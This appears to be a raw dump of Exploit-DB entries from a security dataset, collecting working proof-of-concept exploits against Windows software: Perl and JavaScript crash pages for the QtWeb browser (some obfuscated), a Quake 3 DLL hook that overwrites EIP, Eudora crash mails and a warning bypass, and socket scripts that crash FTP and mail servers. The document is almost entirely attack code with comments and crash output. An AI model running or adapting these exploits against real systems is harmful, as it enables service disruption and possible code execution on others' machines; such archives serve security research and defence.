deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11233
Description: QtWeb 3.0 - Remote Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2010-01-22
Author: Zer0 Thunder

Exploit:
#!/usr/bin/perl
# File Name :QtWeb Web Browser 
# Vuln : Remote Dos/Crash
# Auther : Zer0 Thunder
# Msn : zer0_thunder@colombohackers.com
#
# Look at the task manager after u run this 
##==------>> 
#
# Exploit Title: QtWeb 3.0 Remote DoS/Crash Exploit 
# Date: 22/01/2010
# Author: Zer0 Thunder
# Site  : http://www.qtweb.net/
# Software Link: http://qtweb.googlecode.com/files/QtWeb-3.0.zip
# Version: v 3.0
# Tested on: Windows XP Sp2 / .html was uploaded into a Ubuntu Server
#			 Also tested locally
#
##==------>> 
$file="zero_qbrwoser.html";
print " ======================================\n";
print " = QtWeb 3.0 Remote DoS/Crash Exploit =\n";
print " =                                    =\n";
print " ======================================\n"; 
print "\n";
print " Please Wait till c0de generate...\n";
my $buffer="\x41" x 100000000; #Buffer 
my $buffer_1="\42" x 55900000;
my $tit="\x5A\x65\x72\x30\x0\x54\x68\x75\x6E\x64\x65\x72"; # lol on this
open(myfile,">>$file"); # b00m on here
print myfile "<html>";
print myfile "<title> y0u just got owned by $tit </title>";
print myfile '<head><meta http-equiv="refresh" content="1; url=zero_qbrwoser.html"></head>';
print myfile "<body alink=";
print myfile $buffer,$buffer_1;
print myfile '">';
print myfile "</html>";
close(myfile);
print "\n";
print " File Name : $file\n";
print " File Created Succesfully \n";
print "\n";
print "----------------------------------------------------------------------\n";
print " Founder : $tit\n";
print " For more information ==- msn : zer0_thunder[at]colombohackers[dot]com\n";
Exploit-DB #12852
Description: QtWeb 3.3 - Remote Crash (Denial of Service)
Type: dos
Platform: windows
Date: 2010-06-03
Author: PoisonCode

Exploit:
# Title:QtWeb 3.3 Remote DoS/Crash Exploit
# Software Link:http://www.qtweb.net/downloads/QtWeb-setup.exe
# Portable: http://www.qtweb.net/downloads/QtWeb.exe
# Version: 3.3
# Platform:Windows


_____    _____                      _ _         
|  __ \ / ____|                    (_) |        
| |__) | (___   ___  ___ _   _ _ __ _| |_ _   _ 
|  ___/ \___ \ / _ \/ __| | | | '__| | __| | | |
| |     ____) |  __/ (__| |_| | |  | | |_| |_| |
|_|    |_____/ \___|\___|\__,_|_|  |_|\__|\__, |
                                           __/ |
                                          |___/
Exploit
----------------
#!/usr/bin/perl
# File Name :QtWeb 3.3 Remote DoS/Crash Exploit
# Vuln :Remote Dos/Crash
# Author :PoisonCode
# Exploit Title: QtWeb 3.3 Remote DoS/Crash Exploit
# Date:02/06/2010
# Author:PoisonCode
# Site  :http://www.qtweb.net/
# Software Link: http://www.qtweb.net/downloads/QtWeb-setup.exe
# Portable:http://www.qtweb.net/downloads/QtWeb.exe
# Version: 3.3
# Tested on: Windows
$file="Exploit QtWeb 3.3.html";
print " ======================================\n";
print " = QtWeb 3.3 Remote DoS/Crash Exploit =\n";
print " =        Autor:PoisonCode            =\n";
print " =  Web :PanamaSecurity.blogspot.com  =\n";
print " ======================================\n";
print "\n";
print " Espere Mientras se Genera el Exploit\n";
my $a="\x55" x 100000000;
my $b="\85" x 55900000;
my $c="\x7C\x95\x64\xAE\x00\x96\xbd\x40\x00\x09\8a\86\x5A\x65\x72\x30\x0\x54\x68\x75\x6E\x64\x65\x72"; 
open(myfile,">>$file"); 
print myfile "<html>";
print myfile "<title>PanamaSecurity - PoisonCode $c </title>";
print myfile '<head><meta http-equiv="refresh" content="0; url=Exploit QtWeb3.3.html"></head>';
print myfile "<body alink=";
print myfile $a,$b,$c;
print myfile "<marquee>$a,$b,$c</marquee>";
print myfile '">';
print myfile "</html>";
close(myfile);
print "\n";
print " Nombre del Archivo : $file\n";
print " Se Ha Creado El Exploit Correctamente \n";
print "\n";
print "----------------------------------------------------------------------\n";
print " Visiten : PanamaSecurity.blogspot.com\n";
Exploit-DB #12655
Description: QtWeb Browser 3.3 - Denial of Service
Type: dos
Platform: windows
Date: 2010-05-18
Author: PoisonCode

Exploit:
# Title: QtWeb Browser version 3.3 Dos based in Xss
# Software:http://www.qtweb.net/downloads/QtWeb-setup.exe
# Portable Software:http://www.qtweb.net/downloads/QtWeb.exe
# Version: 3.3
# Tested on: Windows
# Author: PoisonCode
# Published: 2010-05-17
# CVE-ID:()

_____   _____                      _ _         
|  __ \ / ____|                    (_) |        
| |__) | (___   ___  ___ _   _ _ __ _| |_ _   _ 
|  ___/ \___ \ / _ \/ __| | | | '__| | __| | | |
| |     ____) |  __/ (__| |_| | |  | | |_| |_| |
|_|    |_____/ \___|\___|\__,_|_|  |_|\__|\__, |
                                           __/ |
                                          |___/

PanamaSecurity.blogspot.com

Anti Lammer Enconde
                                                                                                                                                                     
<script type="text/javascript">document.write('\u003C\u0062\u006F\u0064\u0079\u0020\u006F\u006E\u006C\u006F\u0061\u0064\u003D\u0022\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0062\u006C\u006F\u0063\u006B\u0028\u0029\u003B\u0022\u003E\u003C\u002F\u0062\u006F\u0064\u0079\u003E\u000D\u0020\u000D\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u003E\u000D\u0020\u000D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0062\u006C\u006F\u0063\u006B\u0028\u0029\u0020\u007B\u000D\u0020\u000D\u0076\u0061\u0072\u0020\u0062\u0020\u003D\u0020\u0027\u005C\u0078\u0034\u0043\u005C\u0078\u0045\u0046\u005C\u0078\u0031\u0033\u005C\u0078\u0030\u0030\u0027\u003B\u000D\u0066\u006F\u0072\u0020\u0028\u0061\u0020\u003D\u0030\u003B\u0061\u003C\u0039\u0039\u0039\u0039\u0039\u0039\u0039\u0039\u0039\u0039\u0039\u003B\u0061\u002B\u002B\u0029\u0020\u007B\u000D\u0062\u002B\u003D\u0062\u002B\u0027\u005C\u0078\u0034\u0043\u005C\u0078\u0045\u0046\u005C\u0078\u0031\u0033\u005C\u0078\u0030\u0030\u0027\u003B\u000D\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u003C\u0068\u0074\u006D\u006C\u003E\u003C\u006D\u0061\u0072\u0071\u0075\u0065\u0065\u003E\u003C\u0068\u0031\u003E\u0027\u002B\u0062\u002B\u0062\u0029\u003B\u000D\u000D\u007D\u000D\u0020\u000D\u007D\u000D\u0020\u000D\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E\u000D\u000D');</script>

==================================================
Exploit-DB Notes - Decoded Version:
==================================================

<body onload="javascript:block();"></body>

<script>
function block() {
var b = '\x4C\xEF\x13\x00';
for (a =0;a<[PII_REDACTED]9;a++) {
b+=b+'\x4C\xEF\x13\x00';
alert('<html><marquee><h1>'+b+b);
}
}
</script>
Exploit-DB #15482
Description: Qtweb Browser 3.5 - Buffer Overflow
Type: dos
Platform: windows
Date: 2010-11-10
Author: PoisonCode

Exploit:
# Title: Remote Buffer Overflow Qtweb Browser 3.5
# Software:http://www.qtweb.net/downloads/QtWeb-setup.exe
# Portable Software:http://www.qtweb.net/downloads/QtWeb.exe
# Version: 3.5
# Tested on: Windows
# Author: PoisonCode
# Published: 2010-11-10
# CVE-ID:()
 
_____    _____                      _ _        
|  __ \ / ____|                    (_) |       
| |__) | (___   ___  ___ _   _ _ __ _| |_ _   _
|  ___/ \___ \ / _ \/ __| | | | '__| | __| | | |
| |     ____) |  __/ (__| |_| | |  | | |_| |_| |
|_|    |_____/ \___|\___|\__,_|_|  |_|\__|\__, |
                                           __/ |
                                          |___/
Anti Lammer Encode

<Script Language='Javascript'>
<!--
document.write(unescape('%3C%64%69%76%20%61%6C%69%67%6E%3D%22%63%65%6E%74%65%72%22%3E%3C%69%6D%67%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%6D%67%31%35%32%2E%69%6D%61%67%65%73%68%61%63%6B%2E%75%73%2F%69%6D%67%31%35%32%2F%33%30%32%30%2F%63%6F%70%69%61%64%65%70%73%63%75%73%74%6F%6D%2E%6A%70%67%22%3E%3C%2F%64%69%76%3E%0A%3C%73%63%72%69%70%74%3E%0A%66%75%6E%63%74%69%6F%6E%20%62%6C%6F%63%6B%28%29%20%7B%0A%76%61%72%20%62%20%3D%20%27%5C%78%34%43%5C%78%45%46%5C%78%31%33%5C%78%30%30%5C%78%30%30%5C%78%31%62%5C%78%38%64%5C%78%64%34%27%3B%0A%66%6F%72%20%28%61%20%3D%30%3B%61%3C%31%33%33%37%3B%61%2B%2B%29%20%7B%0A%62%2B%3D%62%2B%27%5C%78%34%43%5C%78%45%46%5C%78%31%33%5C%78%30%30%5C%78%30%30%5C%78%31%62%5C%78%38%64%5C%78%64%34%27%3B%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%68%74%6D%6C%3E%3C%6D%61%72%71%75%65%65%3E%3C%68%31%3E%27%2B%62%2B%62%29%3B%0A%7D%0A%7D%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%3C%62%6F%64%79%20%62%67%63%6F%6C%6F%72%3D%22%23%30%30%30%30%30%30%30%22%3E%0A%3C%64%69%76%20%61%6C%69%67%6E%3D%22%63%65%6E%74%65%72%22%3E%3C%70%3E%3C%69%6E%70%75%74%20%74%79%70%65%3D%22%62%75%74%74%6F%6E%22%20%6E%61%6D%65%3D%22%53%75%62%6D%69%74%22%20%76%61%6C%75%65%3D%22%45%6A%65%63%75%74%61%72%20%42%75%66%66%65%72%20%4F%76%65%72%66%6C%6F%77%22%20%20%6F%6E%63%6C%69%63%6B%3D%22%62%6C%6F%63%6B%28%29%22%2F%3E%3C%2F%70%3E%3C%2F%64%69%76%3E%20%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E'));
//-->
</Script>
Exploit-DB #1976
Description: Quake 3 Engine Client - 'CG_ServerCommand()' Remote Overflow
Type: dos
Platform: windows
Date: 2006-07-02
Author: RunningBon

Exploit:
/*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSendServerCommandAddr;
	DWORD dwFillSize;
	DWORD dwNewEIP;
};

VersionStruct Versions[] = {
	{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 },	//SoF2 1.03
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
	{
		memset(szString, 0, sizeof(szString));
		pPtr = &szString[0];

		memset(pPtr, 'a', pVersion->dwFillSize);
		pPtr += pVersion->dwFillSize;

		memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
		pPtr += sizeof(DWORD);

		orig_SV_SendServerCommand(pCl, szString);
	}
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
	if(dwReason == DLL_PROCESS_ATTACH)
	{
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
		{
			if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
			{
				pVersion = &Versions[i];
				break;
			}
		}

		if(pVersion == NULL)
		{
			//Could not find correct version
			return 1;
		}

		DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
		_asm mov [orig_SV_SendServerCommand], eax
	}

	return 1;
}

// milw0rm.com [2006-07-02]
Exploit-DB #19885
Description: Qualcomm Eudora 4.2/4.3 - Warning Message Circumvention
Type: dos
Platform: windows
Date: 2000-04-28
Author: Bennett Haselton

Exploit:
source: https://www.securityfocus.com/bid/1157/info

A malicious email sender can circumvent warning messages that would normally display when a user attempts to view executable attachments in Eudora 4.2/4.3. Eudora does not prompt a user with the warning message if they are attempting to open a file that is neither .exe, .com, or .bat.

Inserting the tag
<a &nbsp;href="file:///c:/eudora/attach/file.lnk"\>http&nbsp;://www.example.com</&nbsp;a>
in an email message will display as:
http&nbsp;://www.example.com
in a Eudora email client.

Therefore, when a user clicks on this link, it will automatically open up the executable file without warning.
Exploit-DB #22333
Description: Qualcomm Eudora 5.0/5.1/6.0 - Long Attachment Filename Denial of Service (1)
Type: dos
Platform: windows
Date: 2003-03-05
Author: Paul Szabo

Exploit:
source: https://www.securityfocus.com/bid/7026/info

Eudora may crash when handling messages which contain attachments with excessively long filenames. This condition reportedly occurs when messages with malformed attachment filenames are stored in the user's mailbox, which could result in a persistent denial of service to the mail client.

#!/usr/bin/perl --
print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.1 buffer overflow demo\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n\n";
print "Long spoofed attachments cause an exploitable buffer overflow:\n";
# (298.40c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=800403e9 ebx=00000005 ecx=41414141 edx=00a22040 esi=00002966 edi=026a65b4
# eip=41414141 esp=0012f65c ebp=41414141 iopl=0         nv up ei ng nz ac pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293
# 41414141 ??               ???
print "Attachment Converted\r: ", "A"x300,"\n\n";
Exploit-DB #24000
Description: Qualcomm Eudora 6.0.3 - MIME Message Nesting Denial of Service
Type: dos
Platform: windows
Date: 2004-04-14
Author: Paul Szabo

Exploit:
source: https://www.securityfocus.com/bid/10137/info

It has been reported that Eudora is prone to a denial of service vulnerability when handling e-mail containing excessive MIME nesting. The problem is known to occur when the application attempts to decode the deeply nested message.

Successful exploitation of this issue may allow an attacker to cause the application to crash due to corruption of stack memory. It is not known if this issue is further exploitable to execute arbitrary code.

It should be noted that this condition may be persistent since the offending message may remain in the client's mail spool.

Eudora 6.0.3 is reported to be vulnerable to this issue, however, other versions may be affected as well.

#!/usr/bin/perl --

print "From: me\n";
print "To: you\n";
print "Subject: nested multipart test\n";
print "Mime-Version: 1.0\n";
print "X-Use: Pipe the output of this script into:  sendmail -i victim\n";

&nest(0);
print "\n";

sub nest {
  my ($x) = @_;
  my $b = sprintf("bndry%04d",$x);
  print "Content-Type: multipart/mixed; boundary=\"$b\"\n\n";
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Level $x\n\n";

# No problem for 1995, but crash for 2005 deep nesting:
#
# (378.1c4): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000409 ebx=00000001 ecx=00000000 edx=00000001 esi=000338a8 edi=62000000
# eip=77f862ed esp=00032f10 ebp=000337b0 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202
# ntdll!LdrLoadAlternateResourceModule+9:
# 77f862ed 53               push    ebx

  if ($x < 2005) {
    print "--$b\n";
    &nest($x+1);
  }
  print "--$b\n";
  print "Content-Type: text/plain\n\n";
  print "Final $x\n";
  print "--$b--\n\n";
}
Exploit-DB #593
Description: Quick 'n EasY 2.4 FTP Server - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-10-24
Author: KaGra

Exploit:
#!/usr/local/bin/perl -w

###########################################################
###########################################################
##   Quick 'n EasY VER 2.4 Ftp Server remote D.o.S
##         Discovered,exploited by KaGra
##	Tested on WinXP SP1 English version
## sENDING a big buffer in PASS,at least 1041 bytes	
## will crash the sever,as long as the logfile on server
## is viewed or just at the time it will be viewed.This
## sploit works also for almost ALL commands (like APPE
## ,CWD etc),but as u understand,for them U should have at
## least a guest account.For this sploit,no account needed.
## PS:Many thankz to muts for the shellcode at Ability Server APPE sploit...
############################################################
############################################################


use Net::FTP;


$hostname = 'localhost'; 		#Remote Host to D.o.S!
$username = 'anonymous'; 		#AnythinG HeRe!

print "\n[*]BuiLDinG BuFfer...\n";

$password = 'A'x1041   ; 		#OverFlow BuffEr!
print "[*]ConnectinG To TarGet...\n";

$ftp = Net::FTP->new($hostname);        # Connecting...
print "[*]SenDing DeViL...\n\n";

$ftp->login($username, $password);      # Send EviL BuffeR...

$ftp->quit;
print "SerVer Has Been Dosed,will be Down if  LogFile is or will be viewed!\n";


# milw0rm.com [2004-10-24]
Exploit-DB #16260
Description: Quick 'n Easy FTP Server 3.2 - Denial of Service
Type: dos
Platform: windows
Date: 2011-02-28
Author: clshack

Exploit:
# Exploit Title:[DOS LOGIN]  Quick 'n Easy FTP Server 3.2
# Date:28/2/2011
# Author: clshack
# Software Link:
http://www.pablosoftwaresolutions.com/html/quick__n_easy_ftp_server.html<http://downstairs.dnsalias.net/homeftpserver.html>
# Version:1.12
# Tested on: windows xp sp3 en
# CVE :

#!/usr/bin/python
from ftplib import *
import random
import socket
def ping(host,port):
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        connect=s.connect((host,port));
    except Exception ,e :
        print e
        return 0;
    s.close();
    return 1;

host = "192.168.1.155"
port = 21
buffer="";
while(len(buffer)<200000):
    buffer+=chr(int(random.uniform(0,255)))*2+"?";
    try:
        ftp=FTP();
        ftp.connect(host,port);
        ftp.sendcmd("USER "+buffer)
        ftp.sendcmd("PASS "+buffer)
        ftp.quit();
        ftp.close();
        sleep(int(random.uniform(0,2)))
    except Exception, e:
        print e
    if not ping(host,port):
        print "Dos in Login credentials \n"
        exit(-1)

Twitter:clshackblog
Exploit-DB #34403
Description: Quick 'n Easy FTP Server 3.9.1 - 'USER' Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2010-07-22
Author: demonalex

Exploit:
source: https://www.securityfocus.com/bid/42186/info

Quick 'n Easy FTP Server is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input before copying it to an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Quick 'n Easy FTP Server 3.9.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w
#DoS Exploit of Quick Easy Ftp Server version <=3.9.1 USER COMMAND Buffer Overflow
#Vulnerability Discoverer & Autor : demonalex[at]163[dot]com
use Socket;
$host=shift;
$port=shift || '21';
if(!defined($host)){
die("usage: $0 \$host [\$port]\n");
}
#$payload='A'x1604;
$payload=('A'x1600)."\x3D\x41\x41\x41";         #mov     dword ptr [ebx+4], ebp
$target_ip=inet_aton($host);
$target=sockaddr_in($port, $target_ip);
socket(SOCK, AF_INET, SOCK_STREAM, 6);
connect(SOCK, $target);
undef($content);
recv(SOCK, $content, 100, 0);                   #get ftp banner
send(SOCK, "USER "."$payload\r\n", 0);
printf("send ok!\n");
close(SOCK);
exit(0);
Exploit-DB #12853
Description: Quick 'n Easy FTP Server Lite 3.1 - Denial of Service
Type: dos
Platform: windows
Date: 2010-06-03
Author: b0nd

Exploit:
#!/usr/bin/python

print "\n############################################################"
print "##		 Team Hackers Garage			##"
print "##	Quick 'n Easy FTP Server Lite Version 3.1	##"
print "##		       Crash PoC			##"
print "##		 Sumit Sharma (aka b0nd)		##"
print "##		  sumit.iips@gmail.com			##"
print "##							##"
print "##	    Special Thanks to: Double_Zero		##"
print "##	(http://www.exploit-db.com/author/DouBle_Zer0)  ##"
print "##			   &				##"
print "##		corelanc0d3r (CORELAN TEAM)		##"
print "##							##"
print "############################################################"

# Summary: The "LIST" command in Version 3.1 of Quick 'n Easy FTP Server Lite is vulnerable 
# Tested on: Windows XP SP2
# ftp> ls AAAA... 232 A's...AAA?
# Server Crash!
# Only EBX gets overwritten at the time of crash with the string following first 232 A's (in case using longer string).
# No SEH overwrite
# No EIP overwrite


from socket import *

host = "172.12.128.4"		# Virtual Windows XP SP2
port = 21
user = "test"			# "upload" and "download" access
password = "test"


s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "LIST "
buffer += "A" * 232
buffer += "?"
buffer += "\r\n"

s.send(buffer)
print s.recv(1024)
s.close()
print "---->>> Server Crash!!!"
Exploit-DB #8606
Description: Quick 'n Easy Mail Server 3.3 (Demo) - Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2009-05-04
Author: shinnai

Exploit:
# ---------------------------------------------------------------
# Quick 'n Easy Mail Server 3.3 (Demo) Remote Denial of Service
# http://www.pablosoftwaresolutions.com/

# author: shinnai
# mail: shinnai[at]autistici[dot]org
# site: http://www.shinnai.net/

# When you pass a long string to the server, it checks for bof
# type attacks and answers with a:
# "<SMTP> Buffer overflow: DOS attack?"
# after 25 requests (more or less), server is unable to handle
# errors.
# An attacker can exploit this issue to trigger dos conditions.
# In case of succesful exploitation of this vulnerability,
# the server will answer to requests as below:
# "<SMTP> 421 Service not available"
#---------------------------------------------------------------"

import socket

try:
   for i in range(1,30):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      conn = s.connect(("127.0.0.1",25))
      s.send('HELO ' + "AAA@AAAAAA.COM" * 4000 + '\r\n')
      d = s.recv(1024)
      print d
      s.close
   raw_input("Done. If server is still available, try to increase the number of requests.\n\nPress enter to quit...")
except:
   raw_input("Unable to connect!\n\nPress enter to quit...")

# milw0rm.com [2009-05-04]
Exploit-DB #25443
Description: Quick Search 1.1.0.189 - Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2013-05-14
Author: ariarat

Exploit:
# Exploit Title: Quick Search Version 1.1.0.189 Buffer Overflow vulnerability(SEH)
# Date: 14-05-2013
# Exploit Author: ariarat 
# Vendor Homepage: http://www.glarysoft.com/
# Software Link: http://download.glarysoft.com/qsearchsetup.exe
# Version: 1.1.0.189 
# Tested on: [ Windows 7 & windows XP sp2,sp3]
#============================================================================================
# After creating txt file,open created file and copy the AAA... string to clipboard and
# then paste in Search section.for better results bring program in Full Mode and in Edit 
# menu choose Match Path and then paste your string.   
#
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

filename="string.txt"
buffer = "\x41" * 2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()